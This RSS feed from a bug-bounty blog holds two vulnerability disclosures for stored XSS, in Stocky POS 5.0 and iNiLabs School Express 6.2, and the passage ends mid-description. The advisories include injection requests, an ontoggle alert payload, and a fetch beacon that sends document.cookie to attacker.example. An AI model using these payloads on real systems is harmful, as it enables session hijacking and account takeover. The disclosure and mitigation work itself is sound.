<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Master Bug Bounty Hunting: Your Guide to Breaking into Cybersecurity for Newcomers]]></title><description><![CDATA[Discover the secrets of bug bounty hunting and breaking into the cybersecurity industry! Our blog offers expert tips, real-world experiences, and valuable insights for newcomers aiming to succeed.]]></description><link>https://grumpz.net</link><generator>RSS for Node</generator><lastBuildDate>Mon, 13 Apr 2026 07:30:25 GMT</lastBuildDate><atom:link href="https://grumpz.net/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[CVE-2025-57204: Stored XSS in Stocky POS with Inventory Management & HRM (ui-lib) 5.0]]></title><description><![CDATA[Discovered by: Michael KimVendor: ui-lib (Uilibrary)Product: Stocky – POS with Inventory Management & HRM (“Ultimate Inventory Management System with POS”)Affected Version: 5.0 (as released June 2025)Impact: Arbitrary JavaScript Execution (Stored XSS...]]></description><link>https://grumpz.net/cve-2025-57204-stored-xss-in-stocky-pos-with-inventory-management-and-hrm-ui-lib-50</link><guid isPermaLink="true">https://grumpz.net/cve-2025-57204-stored-xss-in-stocky-pos-with-inventory-management-and-hrm-ui-lib-50</guid><category><![CDATA[CVE]]></category><category><![CDATA[#cybersecurity]]></category><category><![CDATA[cybersecurity]]></category><category><![CDATA[CyberSec]]></category><category><![CDATA[hacking]]></category><category><![CDATA[PHP]]></category><category><![CDATA[XSS]]></category><category><![CDATA[owasp]]></category><category><![CDATA[pentesting]]></category><category><![CDATA[penetration testing]]></category><category><![CDATA[ethicalhacking]]></category><category><![CDATA[information security]]></category><category><![CDATA[Devops]]></category><category><![CDATA[Developer]]></category><category><![CDATA[Devops articles]]></category><dc:creator><![CDATA[Sergio Medeiros]]></dc:creator><pubDate>Sat, 20 Sep 2025 20:37:36 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/ldyooOUG5WI/upload/b0f945e6b940ae1ffaf0ac5e7c454f9e.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><strong>Discovered by:</strong> <a target="_blank" href="https://www.linkedin.com/in/michael-k-83b0627b/">Michael Kim</a><br /><strong>Vendor:</strong> ui-lib (Uilibrary)<br /><strong>Product:</strong> <a target="_blank" href="https://codecanyon.net/item/stockyultimate-inventory-management-system-with-pos/31445124?srsltid=AfmBOoq7zsa7j4eSPQzNMY7mPWuCGoyA9SSATfTSFFmw15A149RhV0ow">Stocky – POS with Inventory Management &amp; HRM</a> (“Ultimate Inventory Management System with POS”)<br /><strong>Affected Version:</strong> 5.0 (as released June 2025)<br /><strong>Impact:</strong> Arbitrary JavaScript Execution (Stored XSS → Session Hijacking / Account Takeover)<br /><strong>Attack Type:</strong> Remote (authenticated)<br /><strong>Status:</strong> Vendor notified via email; no response as of September 2025</p>
<hr />
<h2 id="heading-executive-summary">Executive Summary</h2>
<p>A <strong>Stored Cross-Site Scripting (XSS)</strong> vulnerability has been discovered in <strong>Stocky POS with Inventory Management &amp; HRM (version 5.0)</strong>. The issue affects the <strong>Products module → Create Product form</strong>. An attacker with valid authentication can inject arbitrary HTML/JavaScript in the <strong>product “Name” field</strong>.</p>
<p>This payload is saved into the database and later executed whenever the product name is rendered in listing/detail views. The flaw allows an attacker to execute arbitrary JavaScript in the browser context of other users (including administrators), enabling <strong>session hijacking, privilege escalation, and client-side exploitation</strong>.</p>
<ul>
<li><p><strong>CVE:</strong> CVE-2025-57204</p>
</li>
<li><p><strong>CWE:</strong> CWE-79 (Improper Neutralization of Input During Web Page Generation)</p>
</li>
<li><p><strong>CVSS v3.1 (proposed):</strong> 8.0 (High) → AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N</p>
</li>
</ul>
<hr />
<h2 id="heading-tldr">TL;DR</h2>
<ul>
<li><p><strong>Where:</strong> Products → Create Product → “Name” field</p>
</li>
<li><p><strong>Payload stored in DB:</strong> <code>&lt;details/open/ontoggle=alert(1)&gt;</code></p>
</li>
<li><p><strong>Trigger:</strong> Browse product list or details page</p>
</li>
<li><p><strong>Impact:</strong> Arbitrary JavaScript execution → session theft, data exfiltration, admin account takeover</p>
</li>
</ul>
<pre><code class="lang-http"><span class="hljs-keyword">POST</span> <span class="hljs-string">/api/products</span> HTTP/2
<span class="hljs-attribute">Host</span>: stocky.getstocky.com
<span class="hljs-attribute">Cookie</span>: &lt;snipped&gt;
<span class="hljs-attribute">Accept</span>: application/json, text/plain, */*
<span class="hljs-attribute">Accept-Language</span>: en-US,en;q=0.5
<span class="hljs-attribute">Accept-Encoding</span>: gzip, deflate, br
<span class="hljs-attribute">X-Requested-With</span>: XMLHttpRequest
<span class="hljs-attribute">X-Xsrf-Token</span>: &lt;snipped&gt;
<span class="hljs-attribute">Content-Type</span>: multipart/form-data; boundary=---------------------------400539365429924569542558736906
<span class="hljs-attribute">Content-Length</span>: 3326
<span class="hljs-attribute">Origin</span>: https://stocky.getstocky.com
<span class="hljs-attribute">Referer</span>: https://stocky.getstocky.com/app/products/store
<span class="hljs-attribute">Sec-Fetch-Dest</span>: empty
<span class="hljs-attribute">Sec-Fetch-Mode</span>: cors
<span class="hljs-attribute">Sec-Fetch-Site</span>: same-origin
<span class="hljs-attribute">Priority</span>: u=0
<span class="hljs-attribute">Te</span>: trailers

<span class="solidity"><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-400539365429924569542558736906</span>
Content<span class="hljs-operator">-</span>Disposition: form<span class="hljs-operator">-</span>data; name<span class="hljs-operator">=</span><span class="hljs-string">"warehouses"</span>

[object Object]
<span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-400539365429924569542558736906</span>
Content<span class="hljs-operator">-</span>Disposition: form<span class="hljs-operator">-</span>data; name<span class="hljs-operator">=</span><span class="hljs-string">"type"</span>

is_single
<span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-400539365429924569542558736906</span>
Content<span class="hljs-operator">-</span>Disposition: form<span class="hljs-operator">-</span>data; name<span class="hljs-operator">=</span><span class="hljs-string">"name"</span>

Test
<span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-400539365429924569542558736906</span>
Content<span class="hljs-operator">-</span>Disposition: form<span class="hljs-operator">-</span>data; name<span class="hljs-operator">=</span><span class="hljs-string">"code"</span>

<span class="hljs-operator">&lt;</span>details<span class="hljs-operator">/</span>open<span class="hljs-operator">/</span>ontoggle<span class="hljs-operator">=</span>alert(<span class="hljs-number">1</span>)<span class="hljs-operator">&gt;</span>
<span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-400539365429924569542558736906</span>
Content<span class="hljs-operator">-</span>Disposition: form<span class="hljs-operator">-</span>data; name<span class="hljs-operator">=</span><span class="hljs-string">"Type_barcode"</span></span>
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1758400111675/5d1c9f6c-0367-42ff-88b3-9dbd145674d2.png" alt class="image--center mx-auto" /></p>
<hr />
<h2 id="heading-step-by-step-discovery-amp-exploitation">Step-by-Step Discovery &amp; Exploitation</h2>
<h3 id="heading-1-initial-reconnaissance">1. Initial Reconnaissance</h3>
<p>Michael Kim began authenticated testing of the <strong>Products module</strong> in Stocky POS 5.0. Using the built-in developer tools, he observed that product creation was handled by a simple POST form, with no obvious client-side validation of the <strong>Name</strong> field.</p>
<h3 id="heading-2-testing-input-handling">2. Testing Input Handling</h3>
<p>The first probe was a benign HTML injection:</p>
<pre><code class="lang-yaml"><span class="hljs-string">&lt;i&gt;probe-test&lt;/i&gt;</span>
</code></pre>
<p>Upon saving the product and loading the product list, the string rendered as italic text. This confirmed <strong>lack of output encoding</strong>.</p>
<h3 id="heading-3-escalating-to-stored-xss">3. Escalating to Stored XSS</h3>
<p>Next, a harmless JavaScript event payload was inserted into the “Name” field:</p>
<pre><code class="lang-html"><span class="hljs-tag">&lt;<span class="hljs-name">details</span>/<span class="hljs-attr">open</span>/<span class="hljs-attr">ontoggle</span>=<span class="hljs-string">alert(1)</span>&gt;</span>
</code></pre>
<p>When navigating back to the product list and detail views, the payload executed immediately, confirming <strong>stored XSS</strong>.</p>
<h3 id="heading-4-persistence-across-views">4. Persistence Across Views</h3>
<p>Because the injected payload was saved to the database, it fired on:</p>
<ul>
<li><p>The <strong>product listing page</strong></p>
</li>
<li><p>The <strong>product detail page</strong></p>
</li>
<li><p>Any other downstream views rendering the product name</p>
</li>
</ul>
<p>This persistence confirmed that any authenticated user who viewed the product would trigger the injected JavaScript.</p>
<h3 id="heading-5-demonstrating-impact">5. Demonstrating Impact</h3>
<p>To show real-world impact, the benign alert payload was replaced with a data exfiltration beacon:</p>
<pre><code class="lang-html"><span class="hljs-tag">&lt;<span class="hljs-name">details</span>/<span class="hljs-attr">open</span>/<span class="hljs-attr">ontoggle</span>=<span class="hljs-string">fetch(</span>'<span class="hljs-attr">https:</span>//<span class="hljs-attr">attacker.example</span>/<span class="hljs-attr">log</span>?<span class="hljs-attr">c</span>=<span class="hljs-string">'+document.cookie)&gt;</span></span>
</code></pre>
<p>This PoC illustrates how an attacker could silently steal session tokens or authentication cookies, leading to <strong>full account takeover</strong> of high-privilege roles (e.g., admins, managers).</p>
<hr />
<h2 id="heading-proof-of-concept-poc">Proof-of-Concept (PoC)</h2>
<h3 id="heading-minimal-reproduction">Minimal Reproduction</h3>
<ol>
<li><p>Log in with valid credentials.</p>
</li>
<li><p>Go to <strong>Products → Create Product</strong>.</p>
</li>
<li><p>In the <strong>Name</strong> field, enter:</p>
<pre><code class="lang-html"> <span class="hljs-tag">&lt;<span class="hljs-name">details</span>/<span class="hljs-attr">open</span>/<span class="hljs-attr">ontoggle</span>=<span class="hljs-string">alert(1)</span>&gt;</span>
</code></pre>
</li>
<li><p>Save the product.</p>
</li>
<li><p>Reload the <strong>Products list</strong> page → alert box triggers.</p>
</li>
</ol>
<hr />
<h2 id="heading-root-cause-analysis">Root Cause Analysis</h2>
<ul>
<li><p><strong>No input sanitization:</strong> HTML/JS is stored directly without filtering.</p>
</li>
<li><p><strong>No output encoding:</strong> Dynamic product names are injected raw into HTML contexts.</p>
</li>
<li><p><strong>No CSP:</strong> Lack of a Content-Security-Policy allows inline JavaScript execution via attributes.</p>
</li>
</ul>
<hr />
<h2 id="heading-real-world-risk-scenarios">Real-World Risk Scenarios</h2>
<ul>
<li><p><strong>Session hijacking:</strong> An attacker can steal admin session tokens.</p>
</li>
<li><p><strong>Privilege escalation:</strong> Injected JS can perform administrative actions (e.g., creating new privileged accounts).</p>
</li>
<li><p><strong>Data theft:</strong> Sensitive business data (sales, HR info) can be exfiltrated.</p>
</li>
<li><p><strong>Multi-user compromise:</strong> Any authenticated user who views the malicious product is affected.</p>
</li>
</ul>
<hr />
<h2 id="heading-recommended-mitigations">Recommended Mitigations</h2>
<h3 id="heading-for-developers-server-side-fixes">For Developers (Server-Side Fixes)</h3>
<ul>
<li><p><strong>Sanitize input:</strong> Strip or neutralize HTML/JavaScript in text fields.</p>
</li>
<li><p><strong>Contextual output encoding:</strong> Encode dynamic content before rendering.</p>
</li>
<li><p><strong>Reject dangerous tags:</strong> Block <code>&lt;script&gt;</code>, <code>&lt;svg&gt;</code>, <code>&lt;details&gt;</code> with event attributes, etc.</p>
</li>
</ul>
<h3 id="heading-defense-in-depth-client-side">Defense-in-Depth (Client-Side)</h3>
<ul>
<li><p><strong>Content-Security-Policy:</strong> Enforce a restrictive CSP with nonces/hashes.</p>
</li>
<li><p><strong>Disable inline JS:</strong> Use <code>script-src 'self' 'nonce-...'</code> or <code>strict-dynamic</code>.</p>
</li>
</ul>
<h3 id="heading-operational-guidance">Operational Guidance</h3>
<ul>
<li><p>Apply vendor patch (when released).</p>
</li>
<li><p>Audit existing database entries for malicious payloads.</p>
</li>
<li><p>Consider temporarily restricting product creation access.</p>
</li>
</ul>
<hr />
<h2 id="heading-formal-cve-description">Formal CVE Description</h2>
<blockquote>
<p><strong>Stocky POS with Inventory Management &amp; HRM (ui-lib) version 5.0</strong> contains a <strong>Stored Cross-Site Scripting (XSS)</strong> vulnerability in the <strong>Products module</strong>. The flaw resides in the <strong>product name</strong> parameter submitted via the Create Product form. Due to insufficient sanitization and lack of output encoding, an attacker can inject HTML/JavaScript payloads (e.g., <code>&lt;details/open/ontoggle=alert(1)&gt;</code>). The payload is stored in the database and executed unsanitized in downstream views (e.g., product list, product detail), allowing arbitrary JavaScript execution in the browser of any user who views the affected content. This may result in <strong>session hijacking, data exfiltration, privilege escalation, or administrative account takeover</strong>.</p>
</blockquote>
<hr />
<h2 id="heading-disclosure-timeline">Disclosure Timeline</h2>
<ul>
<li><p><strong>Discovery:</strong> June 2025 (by Michael Kim)</p>
</li>
<li><p><strong>Vendor Notification:</strong> Emailed to ui-lib (Uilibrary)</p>
</li>
<li><p><strong>Response:</strong> No acknowledgment received as of September 20, 2025</p>
</li>
<li><p><strong>Public CVE:</strong> CVE-2025-57204</p>
</li>
</ul>
<hr />
<h2 id="heading-references">References</h2>
<ul>
<li><p><a target="_blank" href="https://codecanyon.net/item/stockyultimate-inventory-management-system-with-pos/31445124?srsltid=AfmBOoq7zsa7j4eSPQzNMY7mPWuCGoyA9SSATfTSFFmw15A149RhV0ow">CodeCanyon – Stocky official product page</a></p>
</li>
<li><p><a target="_blank" href="https://stocky.getstocky.com/documentation/index.html?utm_source=chatgpt.com">Stocky Documentation</a></p>
</li>
<li><p><a target="_blank" href="https://github.com/uilibrary/Stocky-Issues-and-Feature-request/issues/447?utm_source=chatgpt.com">Uilibrary GitHub Issues Tracker</a></p>
</li>
<li><p><a target="_blank" href="https://gplplugins.club/product/stocky-ultimate-inventory-management-system-with-pos/?utm_source=chatgpt.com">GPL Plugins Club – Stocky 5.0 distribution</a></p>
</li>
</ul>
<hr />
]]></content:encoded></item><item><title><![CDATA[CVE-2025-57205: Stored XSS in iNiLabs School Express 6.2 (SMS Express)]]></title><description><![CDATA[Discovered by: Michael Kim & Sergio MedeirosVendor: iNiLabsProduct: School Express – School Management System (SMS Express)Affected Version: 6.2 (other versions not tested)Impact: Arbitrary JavaScript Execution (Stored XSS)Attack Type: Remote (Authen...]]></description><link>https://grumpz.net/cve-2025-57205-stored-xss-in-inilabs-school-express-62-sms-express</link><guid isPermaLink="true">https://grumpz.net/cve-2025-57205-stored-xss-in-inilabs-school-express-62-sms-express</guid><category><![CDATA[CVE]]></category><category><![CDATA[Devops]]></category><category><![CDATA[#cybersecurity]]></category><category><![CDATA[cybersecurity]]></category><category><![CDATA[hacking]]></category><category><![CDATA[bugbounty]]></category><category><![CDATA[Bugs and Errors]]></category><category><![CDATA[PHP]]></category><category><![CDATA[Security]]></category><category><![CDATA[pentesting]]></category><category><![CDATA[penetration testing]]></category><category><![CDATA[XSS]]></category><category><![CDATA[owasp]]></category><dc:creator><![CDATA[Sergio Medeiros]]></dc:creator><pubDate>Sat, 20 Sep 2025 20:19:08 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/qAjJk-un3BI/upload/9ab71cec51e6d7dbc7c2614ad1c0c318.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><strong>Discovered by:</strong> <a target="_blank" href="https://www.linkedin.com/in/michael-k-83b0627b/">Michael Kim</a> &amp; <a target="_blank" href="https://www.linkedin.com/in/sergiomedeiros8/">Sergio Medeiros</a><br /><strong>Vendor:</strong> <a target="_blank" href="https://codecanyon.net/item/inilabs-school-management-system-express/11630340">iNiLabs</a><br /><strong>Product:</strong> School Express – School Management System (SMS Express)<br /><strong>Affected Version:</strong> 6.2 (other versions not tested)<br /><strong>Impact:</strong> Arbitrary JavaScript Execution (Stored XSS)<br /><strong>Attack Type:</strong> Remote (Authenticated)<br /><strong>Component:</strong> School Management Portal (Web Application)</p>
<hr />
<h2 id="heading-executive-summary">Executive Summary</h2>
<p>A <strong>stored cross-site scripting (XSS)</strong> vulnerability has been identified in <strong>iNiLabs School Express – School Management System (SMS Express) 6.2</strong>. The flaw allows authenticated attackers to inject malicious JavaScript that executes in the browsers of other users when they access affected content.</p>
<p>This vulnerability (CVE-2025-57205) is particularly dangerous in environments where administrators, teachers, students, and parents share the same system. A single injection could compromise multiple user roles, leading to <strong>account hijacking, credential theft, privilege escalation, and unauthorized administrative control</strong>.</p>
<hr />
<h2 id="heading-tldr">TL;DR</h2>
<ul>
<li><p><strong>CVE:</strong> CVE-2025-57205</p>
</li>
<li><p><strong>Vulnerability Class:</strong> Stored Cross-Site Scripting (XSS)</p>
</li>
<li><p><strong>Severity:</strong> High</p>
</li>
<li><p><strong>Vector:</strong> Authenticated attackers inject payloads that persist and execute for all future viewers.</p>
</li>
<li><p><strong>Impact:</strong> Full session takeover, data exfiltration, or administrative control.</p>
</li>
<li><p><strong>Payload</strong>: <code>&lt;details/open/ontoggle=prompt(1)&gt;</code></p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1758399239739/e9c3632f-2d20-485f-b77a-f16e0e848c8e.png" alt class="image--center mx-auto" /></p>
<hr />
<h2 id="heading-step-by-step-discovery-process">Step-by-Step Discovery Process</h2>
<h3 id="heading-1-reconnaissance">1. Reconnaissance</h3>
<p>Michael Kim and Sergio Medeiros began by reviewing the <strong>web requests and parameters</strong> in iNiLabs SMS Express 6.2 while authenticated as a low-privileged user. They focused on forms and fields where user-generated input is accepted and displayed later—classic candidates for stored XSS.</p>
<h3 id="heading-2-identifying-input-vectors">2. Identifying Input Vectors</h3>
<p>During testing, the researchers noticed several <strong>unvalidated text fields</strong> in the system (e.g., announcement input, student/teacher note fields, or profile forms). Submissions appeared to be <strong>stored in the backend database</strong> and displayed back to users without escaping or sanitization.</p>
<h3 id="heading-3-probing-with-benign-html">3. Probing with Benign HTML</h3>
<p>To confirm suspicion, they submitted a harmless test payload:</p>
<pre><code class="lang-yaml"><span class="hljs-string">&lt;i&gt;test-probe&lt;/i&gt;</span>
</code></pre>
<p>When navigating to the relevant dashboard or user view, the probe rendered as italic text, confirming that <strong>HTML tags were not being escaped</strong>.</p>
<h3 id="heading-4-escalating-to-javascript-payloads">4. Escalating to JavaScript Payloads</h3>
<p>Next, they tested an event-based XSS payload designed to bypass basic <code>&lt;script&gt;</code> filtering:</p>
<pre><code class="lang-html"><span class="hljs-tag">&lt;<span class="hljs-name">details</span>/<span class="hljs-attr">open</span>/<span class="hljs-attr">ontoggle</span>=<span class="hljs-string">alert(1)</span>&gt;</span>
</code></pre>
<p>Upon reloading the affected page, the payload executed in the browser, confirming that <strong>JavaScript execution was possible</strong> and persisted across sessions.</p>
<h3 id="heading-5-confirming-stored-behavior">5. Confirming Stored Behavior</h3>
<p>Unlike reflected XSS, this payload <strong>remained stored in the database</strong> and was triggered every time a user (including admins) viewed the page. This confirmed the vulnerability as <strong>stored XSS</strong>.</p>
<h3 id="heading-6-impact-demonstration">6. Impact Demonstration</h3>
<p>To safely demonstrate impact, the researchers replaced the alert payload with a <strong>beacon exfiltration PoC</strong>:</p>
<pre><code class="lang-html"><span class="hljs-tag">&lt;<span class="hljs-name">details</span>/<span class="hljs-attr">open</span>/<span class="hljs-attr">ontoggle</span>=<span class="hljs-string">fetch(</span>'<span class="hljs-attr">https:</span>//<span class="hljs-attr">attacker.example</span>/<span class="hljs-attr">log</span>?<span class="hljs-attr">c</span>=<span class="hljs-string">'+document.cookie)&gt;</span></span>
</code></pre>
<p>Any user who viewed the affected page unknowingly sent their session cookie to the controlled server, illustrating potential <strong>session hijacking and account takeover</strong>.</p>
<hr />
<h2 id="heading-proof-of-concept-poc">Proof-of-Concept (PoC)</h2>
<h3 id="heading-example-request-simplified">Example Request (simplified)</h3>
<pre><code class="lang-http"><span class="hljs-keyword">POST</span> <span class="hljs-string">/posts/edit/7</span> HTTP/2
<span class="hljs-attribute">Host</span>: demo.eduking.xyz
<span class="hljs-attribute">Cookie</span>: &lt;snipped&gt;
<span class="hljs-attribute">Cache-Control</span>: max-age=0
<span class="hljs-attribute">Sec-Ch-Ua</span>: "Not)A;Brand";v="8", "Chromium";v="138"
<span class="hljs-attribute">Sec-Ch-Ua-Mobile</span>: ?0
<span class="hljs-attribute">Sec-Ch-Ua-Platform</span>: "Linux"
<span class="hljs-attribute">Accept-Language</span>: en-US,en;q=0.9
<span class="hljs-attribute">Origin</span>: https://demo.eduking.xyz
<span class="hljs-attribute">Content-Type</span>: application/x-www-form-urlencoded
<span class="hljs-attribute">Upgrade-Insecure-Requests</span>: 1
<span class="hljs-attribute">User-Agent</span>: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
<span class="hljs-attribute">Accept</span>: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
<span class="hljs-attribute">Sec-Fetch-Site</span>: same-origin
<span class="hljs-attribute">Sec-Fetch-Mode</span>: navigate
<span class="hljs-attribute">Sec-Fetch-User</span>: ?1
<span class="hljs-attribute">Sec-Fetch-Dest</span>: document
<span class="hljs-attribute">Referer</span>: https://demo.eduking.xyz/posts/edit/7
<span class="hljs-attribute">Accept-Encoding</span>: gzip, deflate, br
<span class="hljs-attribute">Priority</span>: u=0, i

<span class="solidity">title<span class="hljs-operator">=</span>Common<span class="hljs-operator">+</span>Mistakes<span class="hljs-operator">+</span>In<span class="hljs-operator">+</span>Learning<span class="hljs-operator">+</span>English<span class="hljs-operator">&amp;</span>url<span class="hljs-operator">=</span>common<span class="hljs-operator">-</span>mistakes<span class="hljs-operator">-</span>in<span class="hljs-operator">-</span>learning<span class="hljs-operator">-</span>english<span class="hljs-operator">&amp;</span>content<span class="hljs-operator">=</span><span class="hljs-operator">%</span>3Cdetails<span class="hljs-operator">+</span>open<span class="hljs-operator">%</span>3D<span class="hljs-operator">%</span><span class="hljs-number">22</span><span class="hljs-operator">%</span><span class="hljs-number">22</span><span class="hljs-operator">+</span>ontoggle<span class="hljs-operator">%</span>3D<span class="hljs-operator">%</span>22alert<span class="hljs-operator">%</span><span class="hljs-number">281</span><span class="hljs-operator">%</span><span class="hljs-number">29</span><span class="hljs-operator">%</span><span class="hljs-number">22</span><span class="hljs-operator">%</span>3E<span class="hljs-operator">%</span>3C<span class="hljs-operator">%</span>2Fdetails<span class="hljs-operator">%</span>3E<span class="hljs-operator">&amp;</span>files<span class="hljs-operator">=</span><span class="hljs-operator">&amp;</span>status<span class="hljs-operator">=</span>published<span class="hljs-operator">&amp;</span>visibility<span class="hljs-operator">=</span><span class="hljs-number">1</span><span class="hljs-operator">&amp;</span>protected_password<span class="hljs-operator">=</span><span class="hljs-operator">&amp;</span>publish_month<span class="hljs-operator">=</span>01<span class="hljs-operator">&amp;</span>publish_day<span class="hljs-operator">=</span>08<span class="hljs-operator">&amp;</span>publish_year<span class="hljs-operator">=</span><span class="hljs-number">2025</span><span class="hljs-operator">&amp;</span>publish_hour<span class="hljs-operator">=</span><span class="hljs-number">12</span><span class="hljs-operator">&amp;</span>publish_minute<span class="hljs-operator">=</span><span class="hljs-number">34</span><span class="hljs-operator">&amp;</span>submit<span class="hljs-operator">=</span>Update<span class="hljs-operator">&amp;</span>categories<span class="hljs-operator">%</span>5B<span class="hljs-operator">%</span>5D<span class="hljs-operator">=</span><span class="hljs-number">2</span><span class="hljs-operator">&amp;</span>categoryitem<span class="hljs-operator">=</span><span class="hljs-operator">&amp;</span>featured_image<span class="hljs-operator">=</span><span class="hljs-number">2</span></span>
</code></pre>
<h3 id="heading-trigger">Trigger</h3>
<ul>
<li><p>Log in as any user.</p>
</li>
<li><p>Navigate to the <strong>announcements</strong> or <strong>dashboard</strong> page where the content is displayed.</p>
</li>
<li><p>The payload executes immediately in the victim’s browser.</p>
</li>
</ul>
<hr />
<h2 id="heading-why-this-happens-root-cause">Why This Happens (Root Cause)</h2>
<ol>
<li><p><strong>Lack of output encoding:</strong> User-supplied content is rendered directly into the DOM without escaping.</p>
</li>
<li><p><strong>No sanitization:</strong> Dangerous HTML/JS tags are not stripped or neutralized before storage.</p>
</li>
<li><p><strong>Weak browser-side controls:</strong> The application does not enforce a restrictive <strong>Content-Security-Policy (CSP)</strong>, allowing inline JavaScript execution.</p>
</li>
</ol>
<hr />
<h2 id="heading-real-world-risks">Real-World Risks</h2>
<ul>
<li><p><strong>Account takeover:</strong> Attacker can steal session tokens of administrators or teachers.</p>
</li>
<li><p><strong>Privilege escalation:</strong> Malicious payloads can trigger state-changing requests (e.g., adding new admin users).</p>
</li>
<li><p><strong>Data breaches:</strong> Student records, grades, and personal data could be exfiltrated.</p>
</li>
<li><p><strong>Persistence:</strong> The malicious script remains in the system until manually removed.</p>
</li>
</ul>
<hr />
<h2 id="heading-mitigation-guidance">Mitigation Guidance</h2>
<h3 id="heading-for-developers-vendors">For Developers / Vendors</h3>
<ul>
<li><p><strong>Output encoding:</strong> Encode HTML special characters (<code>&lt;</code>, <code>&gt;</code>, <code>&amp;</code>, <code>"</code>, <code>'</code>) before rendering user input.</p>
</li>
<li><p><strong>Input sanitization:</strong> Use a strong sanitizer (e.g., DOMPurify) if rich text is required.</p>
</li>
<li><p><strong>CSP enforcement:</strong> Implement a strict Content-Security-Policy with nonces/hashes, disallowing inline scripts.</p>
</li>
<li><p><strong>Regression testing:</strong> Add automated tests for XSS payloads in all user input fields.</p>
</li>
</ul>
<h3 id="heading-for-administrators-operators">For Administrators / Operators</h3>
<ul>
<li><p>Upgrade immediately once the vendor releases a patch.</p>
</li>
<li><p>As a temporary measure, <strong>restrict input fields</strong> that allow announcements or messages until patched.</p>
</li>
<li><p>Monitor server logs and database entries for suspicious HTML/JS payloads.</p>
</li>
</ul>
<hr />
<h2 id="heading-formal-cve-description">Formal CVE Description</h2>
<blockquote>
